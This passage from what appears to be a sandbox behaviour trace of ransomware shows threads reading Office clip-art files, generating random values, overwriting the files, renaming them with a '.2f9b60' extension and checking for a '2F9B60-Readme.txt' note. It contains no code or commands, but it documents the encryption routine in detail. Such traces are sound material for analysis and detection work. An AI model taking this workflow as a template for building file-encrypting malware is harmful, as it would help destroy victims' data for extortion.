DirectoryInfo=0x0) returned 1 [0217.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119170 Thread: id = 3567 os_tid = 0x1aa0 [0210.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf")) returned 0x20 [0210.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF", dwFileAttributes=0x20) returned 1 [0210.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e1c [0210.991] GetFileSizeEx (in: hFile=0x1e1c, lpFileSize=0x32d2f780 | out: lpFileSize=0x32d2f780*=4028) returned 1 [0210.991] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0xfb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.991] ReadFile (in: hFile=0x1e1c, lpBuffer=0x32d2f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32d2f748, lpOverlapped=0x0 | out: lpBuffer=0x32d2f700*, lpNumberOfBytesRead=0x32d2f748*=0x4, lpOverlapped=0x0) returned 1 [0211.657] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0211.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0211.657] NtQuerySystemTime (in: CurrentTime=0x32d2f640 | out: CurrentTime=0x32d2f640*=132462178165198000) returned 0x0 [0211.657] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x4902e0cf [0211.657] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x6c61983e [0211.657] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x4f291958 [0211.657] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x26813d5b [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x70a21a2 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x70ab6051 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x16ad19ff [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x645d1df6 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x6b408585 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x344d7964 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x60e43af2 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x4a2ae2e3 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x5e342fdc [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x68d29515 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x1a048db4 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x4257cb11 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x9f457c3 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x7976ce8 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x2fa11902 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x55119380 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x6212ebdd [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x6c81065 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x2c7bb187 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x678fe0c8 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x2b84b386 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x50ac42cb [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x2ab5efc [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x14b18873 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x3c5e77fd [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0xab1e036 [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x18e5eb9d [0211.658] RtlRandomEx (in: Seed=0x32d2f630 | out: Seed=0x32d2f630) returned 0x71da950d [0211.669] ReadFile (in: hFile=0x1e1c, lpBuffer=0x4224f200, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x32d2f630, lpOverlapped=0x0 | out: lpBuffer=0x4224f200*, lpNumberOfBytesRead=0x32d2f630*=0xfbc, lpOverlapped=0x0) returned 1 [0211.669] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.669] WriteFile (in: hFile=0x1e1c, lpBuffer=0x42222140*, nNumberOfBytesToWrite=0xfbc, lpNumberOfBytesWritten=0x32d2f634, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesWritten=0x32d2f634*=0xfbc, lpOverlapped=0x0) returned 1 [0215.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0215.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0215.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0215.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42222140) returned 1 [0215.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224f200) returned 1 [0215.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba760) returned 1 [0215.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0215.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac0b90 [0215.530] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.530] WriteFile (in: hFile=0x1e1c, lpBuffer=0x431f1fe0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x32d2f750, lpOverlapped=0x0 | out: lpBuffer=0x431f1fe0*, lpNumberOfBytesWritten=0x32d2f750*=0x10a, lpOverlapped=0x0) returned 1 [0219.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0219.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0219.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9f0 [0219.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9f0) returned 1 [0219.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9f0 [0219.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd990 [0219.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd990) returned 1 [0219.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0219.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0219.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0830 [0219.806] sprintf (in: _Dest=0x1cda0830, _Format="%c%c" | out: _Dest="b7") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0832, _Format="%c%c" | out: _Dest="45") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0834, _Format="%c%c" | out: _Dest="df") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0836, _Format="%c%c" | out: _Dest="92") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0838, _Format="%c%c" | out: _Dest="8a") returned 2 [0219.806] sprintf (in: _Dest=0x1cda083a, _Format="%c%c" | out: _Dest="57") returned 2 [0219.806] sprintf (in: _Dest=0x1cda083c, _Format="%c%c" | out: _Dest="96") returned 2 [0219.806] sprintf (in: _Dest=0x1cda083e, _Format="%c%c" | out: _Dest="14") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0840, _Format="%c%c" | out: _Dest="63") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0842, _Format="%c%c" | out: _Dest="69") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0844, _Format="%c%c" | out: _Dest="12") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0846, _Format="%c%c" | out: _Dest="43") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0848, _Format="%c%c" | out: _Dest="19") returned 2 [0219.806] sprintf (in: _Dest=0x1cda084a, _Format="%c%c" | out: _Dest="ba") returned 2 [0219.806] sprintf (in: _Dest=0x1cda084c, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.806] sprintf (in: _Dest=0x1cda084e, _Format="%c%c" | out: _Dest="f4") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0850, _Format="%c%c" | out: _Dest="d8") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0852, _Format="%c%c" | out: _Dest="19") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0854, _Format="%c%c" | out: _Dest="f6") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0856, _Format="%c%c" | out: _Dest="fb") returned 2 [0219.806] sprintf (in: _Dest=0x1cda0858, _Format="%c%c" | out: _Dest="24") returned 2 [0219.806] sprintf (in: _Dest=0x1cda085a, _Format="%c%c" | out: _Dest="a1") returned 2 [0219.806] sprintf (in: _Dest=0x1cda085c, _Format="%c%c" | out: _Dest="aa") returned 2 [0219.806] sprintf (in: _Dest=0x1cda085e, _Format="%c%c" | out: _Dest="16") returned 2 [0219.806] RtlInitAnsiString (in: DestinationString=0x32d2f7c8, SourceString="b745df928a5796146369124319ba1ff4d819f6fb24a1aa16" | out: DestinationString="b745df928a5796146369124319ba1ff4d819f6fb24a1aa16") [0219.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x32d2f798, SourceString="b745df928a5796146369124319ba1ff4d819f6fb24a1aa16", AllocateDestinationString=1 | out: DestinationString="b745df928a5796146369124319ba1ff4d819f6fb24a1aa16") returned 0x0 [0219.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430ea010 [0219.807] wcscat (in: _Dest=0x431ead50, _Source="b745df928a57" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57" [0219.807] wcscat (in: _Dest=0x431ead50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57.2f9b60" [0219.807] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57.2f9b60", NtPathName=0x32d2f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b745df928a57.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310e600 [0237.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310e600) returned 1 [0237.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b91c0) returned 1 [0237.749] NtQueryInformationFile (in: FileHandle=0x1e1c, IoStatusBlock=0x32d2f7d8, FileInformation=0x32d2f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32d2f7d8, FileInformation=0x32d2f7e8) returned 0x0 [0237.749] NtSetInformationFile (FileHandle=0x1e1c, IoStatusBlock=0x32d2f7d8, FileInformation=0x32d2f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ead50) returned 1 [0240.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ea010) returned 1 [0240.363] FlushFileBuffers (hFile=0x1e1c) returned 1 [0240.641] CloseHandle (hObject=0x1e1c) returned 1 [0243.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145380 [0243.413] wcscpy (in: _Dest=0x43145380, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0243.413] wcscat (in: _Dest=0x43145380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0243.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0243.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145380) returned 1 [0243.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9e40) returned 1 Thread: id = 3568 os_tid = 0x1ac0 [0210.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf")) returned 0x20 [0210.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF", dwFileAttributes=0x20) returned 1 [0210.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f84 [0211.008] GetFileSizeEx (in: hFile=0x1f84, lpFileSize=0x3183fd00 | out: lpFileSize=0x3183fd00*=6952) returned 1 [0211.008] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.008] ReadFile (in: hFile=0x1f84, lpBuffer=0x3183fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3183fcc8, lpOverlapped=0x0 | out: lpBuffer=0x3183fc80*, lpNumberOfBytesRead=0x3183fcc8*=0x4, lpOverlapped=0x0) returned 1 [0211.012] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0211.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a92b0 [0211.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0211.014] NtQuerySystemTime (in: CurrentTime=0x3183fbc0 | out: CurrentTime=0x3183fbc0*=132462178158802000) returned 0x0 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x3e3567f3 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x61fae438 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x2476d617 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x4896f63c [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x7cc25224 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x5ff5d4b7 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x2eb64823 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x6471bc2d [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0xeb496c9 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x45dfc056 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x3bbe95ea [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x6345e5c8 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x62fb0178 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x7bb468b3 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x6ad8c288 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x4d0113e0 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x41861049 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0xa59e546 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x755d2c3e [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x983dfbe [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x380bb025 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x2c74df5b [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x17566a33 [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x9ec039d [0211.014] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x369a34a6 [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x75cae90 [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x16fa142f [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x5f0fa8a3 [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x50e62440 [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x6d0f4c60 [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x1ff22dee [0211.015] RtlRandomEx (in: Seed=0x3183fbb0 | out: Seed=0x3183fbb0) returned 0x1784493b [0211.027] ReadFile (in: hFile=0x1f84, lpBuffer=0x429a2670, nNumberOfBytesToRead=0x1b28, lpNumberOfBytesRead=0x3183fbb0, lpOverlapped=0x0 | out: lpBuffer=0x429a2670*, lpNumberOfBytesRead=0x3183fbb0*=0x1b28, lpOverlapped=0x0) returned 1 [0211.030] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.030] WriteFile (in: hFile=0x1f84, lpBuffer=0x429b52c0*, nNumberOfBytesToWrite=0x1b28, lpNumberOfBytesWritten=0x3183fbb4, lpOverlapped=0x0 | out: lpBuffer=0x429b52c0*, lpNumberOfBytesWritten=0x3183fbb4*=0x1b28, lpOverlapped=0x0) returned 1 [0215.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138aa0 [0215.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431389e0 [0215.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431389e0) returned 1 [0215.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429b52c0) returned 1 [0215.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a2670) returned 1 [0215.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24020) returned 1 [0215.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce624b0) returned 1 [0215.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x431389e0 [0215.449] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.449] WriteFile (in: hFile=0x1f84, lpBuffer=0x423abdf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3183fcd0, lpOverlapped=0x0 | out: lpBuffer=0x423abdf0*, lpNumberOfBytesWritten=0x3183fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0217.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0217.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0217.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0217.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0217.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e00) returned 1 [0217.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.837] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="b5") returned 2 [0217.837] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="07") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="93") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="32") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="de") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="ef") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="2a") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="03") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="58") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="aa") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="72") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="27") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="b4") returned 2 [0217.838] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="77") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="84") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="86") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="89") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="06") returned 2 [0217.846] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.847] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="30") returned 2 [0217.847] RtlInitAnsiString (in: DestinationString=0x3183fd48, SourceString="b5079332b8defbef2ac50358aa7227b4d47784868906d430" | out: DestinationString="b5079332b8defbef2ac50358aa7227b4d47784868906d430") [0217.847] RtlAnsiStringToUnicodeString (in: DestinationString=0x3183fd18, SourceString="b5079332b8defbef2ac50358aa7227b4d47784868906d430", AllocateDestinationString=1 | out: DestinationString="b5079332b8defbef2ac50358aa7227b4d47784868906d430") returned 0x0 [0217.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106400 [0217.847] wcscat (in: _Dest=0x431eb640, _Source="b5079332b8de" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de" [0217.847] wcscat (in: _Dest=0x431eb640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de.2f9b60" [0217.847] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de.2f9b60", NtPathName=0x3183fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b5079332b8de.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1197f0 Thread: id = 3569 os_tid = 0x10bc [0210.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf")) returned 0x20 [0210.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF", dwFileAttributes=0x20) returned 1 [0210.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 